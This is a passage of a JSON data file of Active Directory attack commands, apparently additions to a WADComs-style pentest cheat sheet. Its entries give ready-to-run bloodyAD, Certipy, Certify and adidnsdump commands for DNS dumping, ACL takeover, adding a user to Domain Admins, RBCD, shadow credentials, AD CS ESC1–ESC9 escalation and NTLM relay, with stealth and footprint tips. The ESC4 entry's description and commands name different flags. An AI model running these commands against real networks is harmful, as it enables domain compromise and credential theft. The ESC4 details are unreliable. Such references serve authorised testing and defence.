daemon-sec-lotl

wadcoms-additions.json (211231B)

---

 [
   {
     "id": "wadcoms:adidnsdump-Enum",
     "toolId": "wadcoms:adidnsdump",
     "toolName": "adidnsdump",
     "name": "adidnsdump-Enum",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# List available DNS zones\nadidnsdump -u 'test.local\\john' -p password123 --print-zones ldap://10.10.10.1\n# Dump the default zone; -r resolves nodes hidden from the unauthenticated listing (records.csv)\nadidnsdump -u 'test.local\\john' -p password123 -r ldap://10.10.10.1",
     "description": "adidnsdump (dirkjanm) abuses the fact that any authenticated domain user can read the AD-integrated DNS zones (stored in the DomainDnsZones/ForestDnsZones partitions), effectively performing a zone transfer without being a DNS admin. Records whose node name is hidden from the anonymous listing are still enumerable and can be resolved by adding -r, which issues a live DNS query for each hidden node. This maps internal hostnames to IPs for target selection; results are written to records.csv. Use --print-zones first to see which zones exist.\n\nCommand Reference:\n\n\tUsername: john\n\tPassword: password123\n\tDomain: test.local\n\tTarget DC IP: 10.10.10.1",
     "mitre": [
       "T1590.002"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "DNS",
       "LDAP"
     ],
     "references": [
       "https://github.com/dirkjanm/adidnsdump",
       "https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/",
       "https://attack.mitre.org/techniques/T1590/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-AddComputer",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-AddComputer",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Exploitation",
       "PrivEsc"
     ],
     "command": "# Create a computer account (returns the new SAM account name and password)\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add computer EVILPC 'Password123!'",
     "description": "bloodyAD's `add computer` action creates a new machine account in the domain over LDAP. Any authenticated user can create up to ms-DS-MachineAccountQuota (default 10) computer accounts, so this is a reliable way to obtain an attacker-controlled principal for RBCD, shadow-credential, or S4U abuse chains. The created computer account has a known password you control. Check the MachineAccountQuota before use; a value of 0 blocks this.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-AddGenericAll",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-AddGenericAll",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence",
       "Exploitation"
     ],
     "command": "# Grant john GenericAll over the victim object\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add genericAll victim john",
     "description": "bloodyAD's `add genericAll` action writes a new ACE granting a trustee full control (GenericAll) over a target object's DACL via LDAP. Use it to escalate a lesser right (WriteDacl / WriteOwner) into full control over a user, group, or computer, or to establish a durable ACL backdoor for persistence. Once you hold GenericAll you can reset passwords, set shadow credentials, or configure RBCD on the target.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tTarget object: victim\n\n\tGranted principal: john",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/dacl/grant-rights",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-AddGroupMember",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-AddGroupMember",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Add yourself (john) to a group you can write to\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add groupMember 'Domain Admins' john",
     "description": "bloodyAD's `add groupMember` action writes the `member` attribute of a group over LDAP, adding an arbitrary principal (typically yourself) to it. Use it when BloodHound shows you hold GenericAll, GenericWrite, WriteOwner, or Self/AddMember over a privileged group such as an admin or Remote Management group. Adding your account to a high-value group is a direct privilege-escalation primitive; remove yourself afterward to reduce footprint.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tTarget group: Domain Admins",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/dacl/addmember",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-AddRBCD",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-AddRBCD",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Lateral Movement",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Lateral Movement",
       "Exploitation"
     ],
     "command": "# Allow EVILPC$ to act on behalf of others against DC01$\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add rbcd 'DC01$' 'EVILPC$'",
     "description": "bloodyAD's `add rbcd` action writes the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of a target computer over LDAP, configuring Resource-Based Constrained Delegation so that a controlled service account may impersonate any user to that machine. Combine with an attacker-controlled computer account (see bloodyAD add computer) and Impacket getST -impersonate to obtain a service ticket as a local admin. Requires GenericWrite / GenericAll / WriteProperty over the target computer object.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tTarget computer: DC01$\n\n\tControlled service: EVILPC$",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-DontReqPreauth",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-DontReqPreauth",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "Credential Access",
       "Exploitation"
     ],
     "command": "# Enable targeted AS-REP roasting on the victim\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add uac victim -f DONT_REQ_PREAUTH",
     "description": "bloodyAD's `add uac` action with the `-f DONT_REQ_PREAUTH` flag sets the DONT_REQ_PREAUTH bit in a target user's userAccountControl over LDAP, disabling Kerberos pre-authentication. This is a targeted AS-REP roasting primitive: once the flag is set you can request an AS-REP for the account and crack it offline. Requires GenericWrite / write access to the target's userAccountControl; remove the flag afterward to clean up.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tVictim user: victim",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/kerberos/asreproast",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-SetOwner",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-SetOwner",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation",
       "Persistence"
     ],
     "command": "# Take ownership of the victim object, then grant yourself full control\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' set owner victim john\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add genericAll victim john",
     "description": "bloodyAD's `set owner` action rewrites the owner field in a target object's security descriptor over LDAP. The object owner has implicit WriteDacl, so seizing ownership of a user, group, or computer lets you subsequently grant yourself GenericAll (see bloodyAD add genericAll) and fully control it. Use it when BloodHound reports WriteOwner over a principal. Pair it with a follow-up DACL write to complete the takeover.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tTarget object: victim\n\n\tNew owner: john",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/dacl/grant-ownership",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-SetPassword",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-SetPassword",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Exploitation",
       "PrivEsc"
     ],
     "command": "# Force-reset the password of a user you have write rights over\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' set password victim 'NewPassword123!'",
     "description": "bloodyAD's `set password` action performs a targeted password reset on a user or computer object over LDAP(S). It is the exploitation step when you hold GenericAll, User-Force-Change-Password, or WriteAll over a victim principal discovered in BloodHound. Resetting a service account or privileged user password grants immediate takeover, at the cost of locking out the legitimate user, so it is loud. Requires LDAPS (or LDAP with channel binding) on modern DCs for the password write.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tVictim user: victim",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:bloodyAD-ShadowCredentials",
     "toolId": "wadcoms:bloodyAD",
     "toolName": "bloodyAD",
     "name": "bloodyAD-ShadowCredentials",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Persistence",
       "Credential Access"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Persistence",
       "Credential Access"
     ],
     "command": "# Add a shadow credential (KeyCredentialLink) to the victim\nbloodyAD --host 10.10.10.1 -d test.local -u john -p 'password123' add shadowCredentials 'DC01$'",
     "description": "bloodyAD's `add shadowCredentials` action appends an attacker-generated key credential to the target's `msDS-KeyCredentialLink` attribute (the Shadow Credentials / Key Trust technique). Requiring only GenericWrite over the victim and an ADCS-enabled PKINIT-capable environment, it lets you authenticate as the target via a certificate and recover its NT hash without changing the account's password, making it far stealthier than a password reset. bloodyAD prints the PFX and follow-up PKINIT command.\n\nCommand Reference:\n\n\tTarget DC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tVictim account: DC01$",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "ADCS"
     ],
     "references": [
       "https://github.com/CravateRouge/bloodyAD",
       "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials",
       "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certify-ESC1",
     "toolId": "wadcoms:Certify",
     "toolName": "Certify",
     "name": "Certify-ESC1",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "Certify.exe request /ca:dc.test.local\\test-CA /template:ESC1 /altname:administrator",
     "description": "Certify is the Windows/.NET GhostPack tool for enumerating and abusing AD CS from an existing foothold. Its request verb enrolls in a vulnerable template and, for ESC1, uses /altname to set an arbitrary Subject Alternative Name (e.g. Administrator) on the issued certificate. The output PEM is converted to .pfx with openssl and then passed to Rubeus asktgt /certificate for PKINIT. Use this when you already have a Windows beacon and want to stay on-host rather than pivoting to a Linux attacker box with Certipy.\n\nCommand Reference:\n\n\tCA config: dc.test.local\\test-CA\n\n\tTemplate: ESC1\n\n\tImpersonated user: Administrator",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/GhostPack/Certify",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-Account-Create",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-Account-Create",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution"
     ],
     "nativeCategory": [
       "Exploitation"
     ],
     "command": "certipy account create -u john@test.local -p password123 -dc-ip 10.10.10.1 -user 'WEBSRV01$' -pass 'ComputerPass123!' -dns websrv01.test.local",
     "description": "Certipy account create adds a new computer (or user) object over LDAP when the operator has MachineAccountQuota available or delegated create rights. This is useful for staging RBCD, Shadow Credentials, or ESC-chain victim accounts that the operator fully controls. The subcommand also supports read/update/delete to modify existing objects' attributes (UPN, SPN, DNS hostname). Runs over LDAP, so add -k / -dc-host for Kerberos-only environments.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tNew account: WEBSRV01$\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-some-thoughts-on-mitigations-c9d38edc7723",
       "https://www.thehacker.recipes/ad/movement/adcs"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-Auth-PKINIT",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-Auth-PKINIT",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "certipy auth -pfx administrator.pfx -username administrator -domain test.local -dc-ip 10.10.10.1",
     "description": "Certipy auth consumes a certificate/private key pair (.pfx) and performs Kerberos PKINIT pre-authentication to request a TGT for the identity in the certificate. It then uses the U2U/UnPAC-the-hash technique to recover the account's NT hash from the PAC, saving a .ccache and printing the hash. This is the final step of most ADCS escalation chains (ESC1/ESC3/ESC6/shadow creds): turn the issued certificate into a usable TGT and an NT hash for pass-the-hash.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tPFX file: administrator.pfx\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "PFX"
     ],
     "services": [
       "Kerberos",
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://www.thehacker.recipes/ad/movement/kerberos/pkinit"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC1",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC1",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "certipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -template 'ESC1' -upn administrator@test.local -sid S-1-5-21-1339291983-1349129144-367733775-500",
     "description": "ESC1 abuses a certificate template that allows an enrollee to supply an arbitrary Subject Alternative Name (ENROLLEE_SUPPLIES_SUBJECT) and enables Client Authentication EKU, while granting enrollment rights to low-privileged users. Certipy req enrolls against the vulnerable template and sets -upn to Administrator, producing a .pfx that authenticates as the domain admin. Supply -sid with the target's objectSid so the request also survives the 2022 strong certificate mapping (KB5014754) enforcement. Follow up with certipy auth to obtain a TGT and NT hash.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tCA host (FQDN): dc.test.local\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC3",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC3",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# 1) Obtain an enrollment agent certificate\ncertipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -template 'EnrollmentAgent'\n\n# 2) Request a cert on behalf of the Administrator using the agent pfx\ncertipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -template 'User' -pfx john.pfx -on-behalf-of 'TEST\\Administrator'",
     "description": "ESC3 abuses a template that grants the Certificate Request Agent (Enrollment Agent) EKU. Certipy first enrolls in the enrollment-agent template to obtain an agent .pfx, then makes a second request against a normal client-auth template (e.g. User) with -on-behalf-of set to a privileged account and -pfx pointing at the agent certificate. The resulting certificate authenticates as the impersonated user. Requires enrollment rights on both the agent template and the target template.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tCA host (FQDN): dc.test.local",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC4",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC4",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Back up the template config, then overwrite it with a default vulnerable (ESC1-like) configuration\ncertipy template -u john@test.local -p password123 -dc-ip 10.10.10.1 -template 'ESC4' -save-old\n\n# Now abuse it exactly like ESC1 (see Certipy-ESC1), then restore the original config afterwards:\n# certipy template -u john@test.local -p password123 -dc-ip 10.10.10.1 -template 'ESC4' -configuration ESC4.json",
     "description": "ESC4 is a certificate template ACL misconfiguration: the operator has Write/WriteDacl/WriteOwner over a template object. Certipy template with -write-default-configuration overwrites the template's settings with a known ESC1-vulnerable configuration (enrollee-supplied SAN, client-auth EKU, low-priv enrollment), turning any template into an ESC1 path. Use -save-old first to snapshot the original config, exploit ESC1, then restore with -write-configuration <file>.json to reduce footprint. OPSEC: the template change is domain-wide and logged in the config partition.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS",
       "LDAP"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://www.thehacker.recipes/ad/movement/adcs/access-controls",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC6",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC6",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "certipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -template 'User' -upn administrator@test.local -sid S-1-5-21-1339291983-1349129144-367733775-500",
     "description": "ESC6 occurs when the Enterprise CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, which lets any requester embed an arbitrary SAN into a certificate regardless of the template's subject settings. Certipy req can therefore enroll in a standard client-auth template (e.g. User) while supplying -upn Administrator to impersonate a privileged account. Include -sid to satisfy strong certificate mapping. Note that post-May-2022 patched DCs ignore the SAN unless the mapping is present, so ESC6 alone is often mitigated on updated environments.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tCA host (FQDN): dc.test.local\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC7-ManageCA",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC7-ManageCA",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Grant our user the officer right on the CA\ncertipy ca -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -add-officer john\n\n# Enable the SubCA template so we can request against it\ncertipy ca -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -enable-template 'SubCA'\n\n# Request (goes pending), then issue and retrieve as an officer\ncertipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -template 'SubCA' -upn administrator@test.local\ncertipy ca -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -issue-request 785\ncertipy req -u john@test.local -p password123 -dc-ip 10.10.10.1 -target dc.test.local -ca 'test-CA' -retrieve 785",
     "description": "ESC7 is when a principal holds the ManageCA (or ManageCertificates) right on the Enterprise CA. Certipy ca -add-officer promotes the controlled user to a certificate officer, which lets it approve pending requests. Combined with enabling the built-in SubCA template (-enable-template SubCA), the operator can request a cert that goes pending, then issue it (-issue-request) and retrieve it (-retrieve) as any UPN. This turns CA administrative rights into domain-admin certificate issuance.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tCA host (FQDN): dc.test.local",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS",
       "RPC"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://www.thehacker.recipes/ad/movement/adcs/access-controls",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC8-Relay",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC8-Relay",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Credential Access",
       "Exploitation"
     ],
     "command": "# Start the ADCS HTTP relay targeting the CA web enrollment endpoint\ncertipy relay -target 'http://10.10.10.1' -template 'DomainController'\n\n# In another shell, coerce the DC to authenticate to the listener (10.10.10.2), e.g.\n# coercer coerce -u john -p password123 -d test.local -t 10.10.10.1 -l 10.10.10.2",
     "description": "ESC8 abuses the AD CS web enrollment interface (certsrv / certfnsh.asp), which accepts NTLM authentication and is not protected by channel binding or EPA by default. Certipy relay stands up an HTTP-to-ADCS relay server; once a privileged machine account (e.g. a domain controller) is coerced into authenticating (PetitPotam/Coercer), the relay requests a certificate from the DomainController template on its behalf. The resulting .pfx authenticates as the coerced machine. Certipy relay is the modern replacement for ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp --adcs.\n\nCommand Reference:\n\n\tCA / web enrollment host IP: 10.10.10.1\n\n\tAttacker/Listener IP: 10.10.10.2",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "ADCS",
       "NTLM"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-ESC9-NoSecurityExtension",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-ESC9-NoSecurityExtension",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Point the controlled victim's UPN at the target admin (no @domain, so it maps by name)\ncertipy account update -u john@test.local -p password123 -dc-ip 10.10.10.1 -user victim -upn administrator\n\n# Enroll/authenticate as victim (now mapping to administrator), then restore:\n# certipy account update -u john@test.local -p password123 -dc-ip 10.10.10.1 -user victim -upn victim@test.local",
     "description": "ESC9/ESC10 abuse weak certificate mapping. When a template has CT_FLAG_NO_SECURITY_EXTENSION (ESC9) or the DC uses weak UPN/SPN mapping (ESC10), an attacker with write access over a victim account can change its userPrincipalName to a target admin's value, enroll a certificate as the victim, then authenticate as the admin because the cert has no SID binding. Certipy account update rewrites the victim's -upn over LDAP; revert it afterwards. This chains with certipy shadow (to enroll as the victim) and certipy auth.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tVictim account: victim\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "ADCS"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-some-thoughts-on-mitigations-c9d38edc7723",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-Find-Vulnerable",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
     "name": "Certipy-Find-Vulnerable",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "certipy find -u john@test.local -p password123 -dc-ip 10.10.10.1 -vulnerable -stdout",
     "description": "Certipy's find command enumerates the AD Certificate Services environment over LDAP and RPC, collecting Enterprise CAs, published certificate templates, and their security descriptors. The -vulnerable flag filters the output to only templates and CA settings that match a known ESC misconfiguration (ESC1-ESC16), and -stdout prints a readable report to the console instead of writing BloodHound/JSON/text files. Run this first with any domain foothold to map which escalation path is available before requesting a certificate.\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tDomain Controller IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "ADCS",
       "LDAP"
     ],
     "references": [
       "https://github.com/ly4k/Certipy",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation",
       "https://www.thehacker.recipes/ad/movement/adcs/certificate-templates"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Certipy-Forge-GoldenCert",
     "toolId": "wadcoms:Certipy",
     "toolName": "Certipy",
